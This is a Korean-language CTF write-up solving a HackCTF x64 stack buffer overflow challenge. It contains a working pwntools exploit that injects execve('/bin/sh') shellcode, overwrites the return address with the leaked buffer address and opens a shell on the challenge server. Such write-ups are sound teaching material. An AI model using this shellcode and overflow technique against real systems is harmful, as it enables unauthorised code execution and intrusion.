x64 Simple_size_BOF 풀이

2021. 7. 13. 01:24HackCTF

728x90

문제 정보
문제에서 주어진 파일
IDA로 디컴파일

char형에 크기 6D30(10진수로 27,952)인 배열 v4를 선언합니다.

그리고 s를 출력합니다.

main함수 안에는 s가 선언되지 않은걸 보니 전역 변수로서 bss영역에 있을 것 같네요.

그리고 v4의 주소값을 출력해준 뒤에 v4를 입력받습니다.

 

이렇게만 봐서는 s가 무엇을 하는 변수인지 잘 모르겠으니 직접 실행파일을 실행시켜보겠습니다.

 

Simple_size_bof 실행 화면

s는 필요없는 변수였습니다.

 

이제 어떻게 문제를 풀지 생각해보겠습니다.

먼저 v4에 쉘코드를 집어넣고 그 뒤에 있는 buf 영역은 쓰레기 값으로 채우고,

sfp(long long이니까 8byte)도 쓰레기 값으로 채워줍니다.

그 뒤에 있는 ret 부분에는 아까 printf에서 출력한 buf 주소를 가져다 넣으면 쉘코드가 실행될 것 같습니다.

 

from pwn import *

p=remote("ctf.j0n9hyun.xyz",3005)

shell="\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" #31byte

p.recvuntil(": ")

juso=int(p.recv(14),16)
a=''
a+=shell
a+='a'*27929
a+=p64(juso)

p.sendline(a)

p.interactive()

FLAG 획득 완료
문제 풀이 성공

v4 배열이 long long 타입이니까 8byte일거라는건 사실 찍은 건데, 맞아서 다행이네요.

점점 Buffer Overflow에 익숙해지고 있는 듯한 기분이 듭니다.

728x90

'HackCTF' 카테고리의 다른 글

Offset 풀이  (0) 2021.07.14
Simple_Overflow_ver_2 풀이  (0) 2021.07.14
내 버퍼가 흘러넘친다!!! 풀이  (0) 2021.07.12
x64 Buffer Overflow 풀이  (0) 2021.06.16
Basic_BOF #2 풀이  (0) 2021.06.16